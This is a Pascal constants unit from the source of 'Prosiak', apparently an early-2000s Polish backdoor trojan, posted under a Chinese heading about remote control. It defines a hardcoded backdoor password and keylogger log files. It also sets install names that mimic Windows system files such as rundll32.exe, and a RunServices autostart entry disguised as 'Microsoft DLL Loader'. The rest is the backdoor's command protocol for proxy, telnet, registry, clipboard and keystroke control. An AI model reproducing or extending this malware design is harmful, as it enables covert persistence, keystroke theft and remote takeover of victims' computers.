stale.pas

2003年的远程控制

unit stale; { stale uzywane przez prosiaka }

interface

const shortmonth:array[1..12] of string=
     ('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec');
      shortday:array[1..7] of string=
      ('Sun','Mon','Tue','Wen','Thu','Fri','Sat');
const GUI_ident='#GUI#';
      nl=#13#10;
      defpassword='prosiak';
      deflogfile='rbkwd.vxd';
      defkeylog='keylog.log';
      noinstparam='noinst';
      mapfile='WindowsP70';
{stare wersje do usuniecia }
const ile_old=5;
      ver_old:array[1..ile_old] of string =
       ('windll32.exe','vbrun60.exe','gdi32.exe','msjet32.exe','rundll32.exe');
const defprofile='rundll32.exe'; {nazwa exe po zainstalowaniu }
const file_chunk=100;
 version='Prosiak v 0.7b6';
 progname=version;
 progauth='by prosiak';
 key_0=0;
 key_1=1;
{stale dla konwersacji z klientem }
const Inf_closeApp=    '201 Closing application';
      Inf_ProxyStart=  '202 Proxy started';
      Inf_ProxyStop=   '203 Proxy stopped';
      Inf_ProxyRestart='204 Proxy restarted';
      Inf_CurrDir=     '205 ';
      Inf_File=        '206 ';
      Inf_Dir=         '207 ';
      Inf_screenxy=    '208 ';
      Inf_memoryinfo=  '209 ';
      Inf_Version=     '210 ';
      Inf_Access=      '211 Welcome to Prosiak';
      Inf_AccessDenied='212 Access Denied';
      Inf_Backport=    '213 ';
      Inf_WaitforPass= '214 Wait for password';
      Inf_Wininfo=     '215 ';
      Inf_Wininfo2=    '216 End';
      Inf_Scripts=     '217 ';
      Inf_ChildInfo=   '218 ';
      Inf_ChildInfo2=  '219 End';
      Inf_ChildInfo3=  '220 '; {not visible}
      Inf_OtherInfo=   '221 ';
      Inf_StartInfo=   '222 Start';
      Inf_StopInfo=    '223 Stop';
      Inf_StartDir=    '224 Start';
      Inf_StopDir=     '225 Stop';
      Inf_ScrDone=     '226 ';
      Inf_typeScript=  '227 ';
      Inf_terminy=     '228 ';
      Inf_drivestart=  '229 ';
      Inf_drivestop=   '230 ';
      Inf_drive=       '231 ';
      Inf_online=      '232 ';
      Inf_Setok=       '233 Set OK';
      Inf_backStop=    '234 ';
      Inf_backstart=   '235 ';
      Inf_Httpdauto=   '236 ';
      Inf_ChildID=     '237 ';
      Inf_Clip=        '238 ';
      Inf_proxyremote= '239 ';
      Inf_proxylocal=  '240 ';
      Inf_remoteIP=    '241 ';
      Inf_key2=        '242 ';
      Inf_sysdir=      '243 ';
      Inf_windir=      '244 ';
      Inf_profile=     '245 ';
      Inf_taskstart=   '246 ';
      Inf_httpdport=   '247 ';
      Inf_username=    '248 ';
      Inf_hostname=    '249 ';
      Inf_logenabled=  '250 ';
      Inf_logfile=     '251 ';
{      ----}
      Inf_TerminComm=  '252 ';
      Inf_TerminEnabled='253 ';
      Inf_TerminHowmany='254 ';
      Inf_TerminRandom= '255 ';
      Inf_TerminCoile=  '256 ';
      Inf_TerminYear=   '257 ';
      Inf_TerminMonth=  '258 ';
      Inf_TerminDay=    '259 ';
      Inf_TerminHour=   '260 ';
      Inf_TerminMinute= '261 ';
      Inf_TerminDw=     '262 ';
      Inf_TerminScript= '263 ';
      Inf_pong=         '264 Pong';
      Inf_wininfo3=     '265 ';
      Inf_key=          '266 ';
      Inf_mesgOK=       '267 ';
      Inf_mesgCancel=   '268 ';
      Inf_info=         '269 ';
      Inf_keylogenabled='270 ';
      Inf_keylogfile=   '271 ';
      inf_autosys=      '272 ';
      inf_autokey=      '273 ';
      inf_httpd=        '274 ';
      inf_mailhost=     '275 ';
      inf_telnetport=   '276 ';
      inf_telnetauto=   '277 ';
      inf_proxyauto=    '278 ';
      inf_telnet=       '279 ';
      inf_proxy=        '280 ';
      inf_winver=       '281 ';
      inf_sharestart=   '282 ';
      inf_share=        '283 ';
      inf_cdinfo=       '284 ';
      inf_chwin=        '285 ';
      inf_mouse=        '286 ';
      inf_regstart=     '287 ';
      inf_regkeys=      '288 ';
      inf_regvals=      '289 ';
      inf_regvalue=	'290 ';
      inf_root=         '291 ';  	

      Err_DirNotFound= '301 Directory not found';
      Err_BadFileName= '302 Bad File Name';
      Err_BadCommand=  '303 Bad command. Type ''help''.';
      Err_TooMany=     '304 Backdoor busy';
      Err_LongFile=    '305 File too long';
      Err_SetFail=     '306 Set Fail';
      Err_BadMode=     '307 Bad mode';
      Err_Deletefail=  '308 Delete fail';
      Err_CreateDir=   '309 Dir Create Fail';
      Err_ClipBusy=    '310 Clipboard Busy';

const c_snotready=     'Server not ready';
      c_serror=        'Server error ';
      c_sconn=         'Server connected';
      c_cconn=         'Client connected ';
      c_cdisc=         'Client disconected';
      c_cerror=        'Client error ';
      c_backclose=     'Backdoor closed';
      c_backcomm=      'Cmd ';
      c_backbusy=      'Backdoor busy';
      c_backconn=      'Backdoor connected ';
      c_backdisc=      'Backdoor disconected';
      c_backerror=     'Backdoor error ';

const Reg_Run='\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices';
      Reg_Conf='\SOFTWARE\Microsoft\Windows\CurrentVersion\RConfig';
      Reg_Script='\SOFTWARE\Microsoft\Windows\CurrentVersion\RScript';
      Reg_Termin='\SOFTWARE\Microsoft\Windows\CurrentVersion\RDate';
      Reg_Current='\SOFTWARE\Microsoft\Windows\CurrentVersion';	
      Reg_DefRunEntry='Microsoft DLL Loader';

const REG_HTPORT='Http Port';
      REG_HTAUTO='Http Auto';
      REG_BACKPORT='Control Port';
      REG_PXREMOTE='Proxy Remote';
      REG_PXLOCAL='Proxy Local';
      REG_PXHOST='Proxy Host';
      REG_LOGSTART='Log Auto';
      REG_KEYLOGSTART='Key Auto';
      REG_LOGFILE='Log File';
      REG_KEYLOGFILE='Key File';
      REG_SMHOST='Mail Host';
      REG_PASS='Pass';
      REG_MAIL='Mail Count';
      REG_VER='Version';
      REG_TPORT='Telnet Port';
      REG_PXAuto='Proxy Auto';
      REG_TAuto='Telnet Auto';

implementation

end.